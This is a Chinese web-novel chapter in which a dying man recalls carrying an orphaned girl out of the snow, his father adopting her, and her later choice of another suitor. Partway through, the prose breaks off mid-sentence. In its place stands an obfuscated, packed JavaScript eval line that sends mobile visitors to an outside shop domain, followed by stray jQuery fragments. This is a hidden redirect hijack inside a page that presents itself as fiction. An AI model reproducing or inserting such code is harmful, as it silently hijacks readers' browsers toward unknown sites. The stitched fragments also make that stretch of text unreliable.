看着不断淋到阵眼的液体,欧阳蘅叹了口气,疲惫地合上了双眼。
他的身体很冷,随着越来越多的鲜血从身体里流出,他的呼吸也越来越虚弱,他能感受到生命在流逝。
然而,他并没有害怕,反正,这一生,该做的自己都做了。
恍惚间,他的意识似乎脱离了这具血肉模糊的躯壳,穿透了这片充斥着腐臭与阴气的院子,飘向了很久很久以前。
他愈发地平静,就好像是大雪天已经冻僵的人。
他想起了九岁那年的大雪天。
甘露96年,冬。
那年的雪下得特别早,也特别大。鹅毛般的雪花像是要将整个黑井镇都掩埋在一种残忍的纯白里。
一年前,母亲柳妗还陪着自己看雪,然而还是没能撑过春天就病逝了。
今年,是欧阳蘅第一个没有母亲的冬天。
也是陈白薇第一个没有母亲的冬天。
几个月前,一个化学实验的爆炸,夺去了陈白薇父母的生命。
那时的陈白薇,还不叫“白薇姑娘”,也不是如今令人闻风丧胆的厉鬼。
她只是一个瘦弱的、眼睛很大、性格却倔强的小姑娘。
镇上的孤儿院来领过她几次,然而她不愿意离开,死死地守在父母留给她的那个只有几十平米,连窗户都漏风的小房子里。
在那颗十岁的大脑里,她固执地认为:只要自己不离开,只要屋子里的东西还保持着原样,爸爸妈妈就只是出了一趟远门,总有一天,他们会推开那扇掉漆的木门,笑着叫她的名字。
管理那一带的主任是个好心人,每个周末都会踩着积雪,给她送点米面和煤炭。
可是那个周末,雪下得太大了,主任病倒了,没能过来。
小房子里的煤炭烧光了,最后一点干粮,也在前天晚上被她和着凉水咽了下去。
屋子里的温度,甚至比外面还要低。水缸里的水结成了硬邦邦的冰坨子。
陈白薇缩在床角,裹着父母留下来的那床已经发硬的旧棉被。她的嘴唇冻得发紫,肚子饿得连叫唤的力气都没有了。
但她没有哭。
她摸出了父母留下的那个铁皮饼干盒,里面还有几张皱巴巴的零钱。
她决定自己出去买点吃的。
她推开门,一脚深一脚浅地走进了漫天的大雪里。
可是,她太高估了一个十岁女孩在饥寒交迫下的体力了。
镇上的路仿佛没有尽头,雪积到了她的小腿肚,寒风像刀子一样刮在她的脸上,带走了她体内最后的一丝热量。
在一个没有人的巷口,她摔倒了。
陈白薇的视线开始模糊,周围的风雪声渐渐远去,取而代之的,是一阵令人感到温暖的耳鸣。
她甚至在雪地里,隐约看到了妈妈在对她招手。
她太累了。
她闭上眼睛,直挺挺地倒在了那片雪地里,像是一片被遗弃的落叶,很快就被飘落的雪花覆盖了一层。
而就在陈白薇即将被这场大雪永远带走的时候,九岁的欧阳蘅,穿着厚厚的黑色棉袄,戴着一顶狗皮帽子,从巷子的另一头走了过来。
他是出来买拷红薯的,本来他在院子里发呆,忽然想起之前的每个冬天,母亲都会在家里拷甜甜的红薯。
于是,他就像个没头的苍蝇一样,在街上乱窜,寻找卖红薯的摊位。
然而,他找了好半天,都一无所获。
也对,这么冷的雪天,别说小摊子了,就是正常营业的铺子都没几个。
他扫兴地踢着街道上的雪,越想越气,甚至生出了一丝委屈。
忽然,他的脚尖碰到了一个东西。
欧阳蘅低下头,这才注意到,路口竟然窝着一个人。
那是一张被冻得青紫,连睫毛上都结着冰霜的小脸。
他慌乱地把手伸到女孩的鼻子前,感受到微弱的呼吸,这才稍稍放下心。
他脱下自己那件带着体温的外套,笨拙地将那个快要冻僵的小女孩裹紧,又把围巾七绕八绕地缠住她的头,背起女孩,就往家跑。
陈白薇再次恢复意识的时候,没有了大雪天的刺骨与冰冷,取而代之的是一种久违的,能让人浑身毛孔都舒张开来的温暖。
她听到了木炭在火盆里发出“噼啪”的燃烧声。
她艰难地睁开眼睛,视线逐渐聚焦。
她发现自己躺在一张柔软的床上,盖着厚实而散发着阳光味道的棉被。
而在她的床边,坐着一个面容温和、穿着棕色棉服的男人。男人手里端着一个瓷碗,正用汤匙轻轻地搅动着碗里冒着热气的白粥。
男人的身边,还坐着一个小男孩,抱着书,正聚精会神地看着。
“你醒了,小姑娘?”
看到陈白薇睁开眼,男人放下了手里的汤匙,伸出温热的大手,轻轻探了探她的额头。
“嗯,烧已经退了。”男人的声音很浑厚,透着一种让人安心的力量,“你冻坏了,我刚刚给你喂了点退烧的糖浆。现在感觉怎么样,来喝点粥吧。”
陈白薇挣扎着坐起身。
她没有立刻接过那碗粥,而是用一种警惕却又茫然的眼神看着眼前这两个陌生人。
“你们是谁?为什么要帮我?”
“等等,你是……”陈白薇看着眼前的男人,忽然想起了什么,迟疑地补充道,“你是欧阳镇长?”
男人笑了笑,没有介意她的戒备,而是将那碗粥轻轻塞进了她的手里:“是的,我是欧阳正。刚刚我儿子看你在路边冻晕了,就把你背回来了。”
陈白薇低下头,看着碗里那晶莹剔透,散发着米香的热粥。
热气氤氲了她的眼睛。
自从几个月前,父母突然过世之后,她就再没有和家人一起吃过热乎的饭菜。
“嗒……”
一滴眼泪,掉进了粥里。
她没有嚎啕大哭,只是死死地端着那个碗,眼泪像断了线的珠子一样往下掉,肩膀剧烈地耸动着。
“我,我好想爸爸妈妈啊……”
压抑了几个月,用来对抗整个世界的坚强防线,在这一碗热粥和暖融融的炭火面前,彻底崩溃了。
她好像又回到了温馨幸福的,爸爸妈妈还在的家里。
欧阳正的眼中闪过一丝极深的不忍。
他没有说那些“节哀顺变”的空话。
他只是伸出手,用他宽厚的手掌,轻轻地擦去了小女孩脸上的泪水。
“丫头。”欧阳正的声音很轻,却很郑重。
“我的妻子柳妗,以前常跟我念叨,说她这辈子最大的遗憾,就是没能有一个女儿。”
欧阳正看着陈白薇那双满含泪水的眼睛,缓缓地朝她伸出了手。
“如果你愿意,从今以后,你做我的女儿吧,这里就是你的家。”
那个在雪地里快要冻死的小女孩,看着那只宽厚的手掌。
她看了一眼旁边那个为了背她而冻得鼻头通红的小男孩,又看了一眼这个温和的男人。
陈白薇点了点头,回握住了欧阳正的手。
从那天起,陈白薇就成了欧阳正的养女,成了欧阳家的姑娘。
欧阳正是一个极其懂得尊重别人的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17971701|214668||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
人。
他知道陈白薇骨子里那份倔强,也知道她对父母留下的那个小房子有多深的执念。
所以,陈白薇依然住在父母留给她的小房子里,每天中午和晚上,她都会准时来到欧阳家吃饭。
吃完饭,欧阳正会把她和欧阳蘅叫到书房。
两个孩子趴在宽大的书桌上写作业,欧阳正则在一旁看公文,遇到他们不懂的题,他会耐心地一遍遍辅导。
到了晚上九点。
黑井镇的夜色降临,青石板路上亮起昏黄的路灯。
欧阳正会穿上外套,左手牵着陈白薇,右手牵着欧阳蘅。三人走过长长的街道,把陈白薇送回那个小房子。
看着她锁好门,欧阳正再牵着儿子的手,踏着夜色回家。
日复一日,年复一年。
在这漫长的岁月里,陈白薇和欧阳蘅,像两根缠绕在同一棵大树上的藤蔓,一起长大了。
欧阳蘅的性格,随着年龄的增长,逐渐显露出一种属于他这个阶层的骄傲和深沉。但在陈白薇面前,他永远是那个在雪地里把她背回来的少年。
他喜欢逗她。
每次陈白薇在书房里认真背书的时候,他总是会故意去扯她的辫子,或者在她的草稿纸上画一只丑陋的乌龟,惹得陈白薇拿着笔满院子追着他打。
可是,只要是陈白薇想要的东西,欧阳蘅都会想尽办法,送到白薇妹妹的身边。
欧阳蘅自诩和陈白薇是亲梅竹马,直到高中的时候,一个叫江聿的男生出现。
事实上,欧阳蘅一直都觉得自己和陈白薇两个人极其相似,坚韧偏执且智慧果断。
所以,一开始,他并不把说话慢吞吞的,性格也温吞的江聿放在眼里。
然而,另他没想到的是,自己的父亲却对这个孩子很是关爱。
欧阳蘅这才隐约意识到,江聿的性格很像一个人,就是自己的母亲,柳妗。
而敏锐的陈白薇,也同样意识到这一点。
于是,陈白薇对江聿的态度产生了很大的变化,所有父亲喜欢的东西,她都会让自己喜欢。
她开始主动和江聿说话,开始在欧阳蘅欺负江聿的时候护着他,甚至在周末的时候,会主动邀请江聿去欧阳家一起吃饭、写作业。
三个人的日常,变成了一种极其微妙且错综复杂的格局。
在欧阳家的书房里,欧阳蘅总是坐在陈白薇的对面,目光灼灼地看着她,眼神里藏着属于少年的热烈与占有欲。
而陈白薇的目光,却总是若有若无地落在旁边那个安静解题的江聿身上。
至于江聿,这个温和懦弱的少年,受宠若惊地享受着这份突如其来的友情。
欧阳蘅看着陈白薇对江聿的特别,心里的嫉妒像野草一样疯长。但他太骄傲了,他不愿意承认自己输给了一个只会死读书的书呆子。
他以为,那只是女孩子的一时新鲜,他以为,只要自己以后建功立业,陈白薇终究会明白,谁才是那个能为她遮风挡雨的人。
可他算错了一件事。
陈白薇根本不懂什么是爱情。
在陈白薇极其偏激且冷漠的世界观里,欧阳正就是她的一切。
父亲喜欢什么,她就喜欢什么。父亲觉得谁好,她就认为谁好。
后来,不出意外,陈白薇嫁给了江聿。
欧阳蘅对此,至今都无法释怀。
“为什么,为什么……”他的嘴里喃喃自语。
“为什么?我不知道为什么,我只知道,你再不止血,就死透了。”
欧阳蘅睁开眼,不可置信地看清了眼前的人。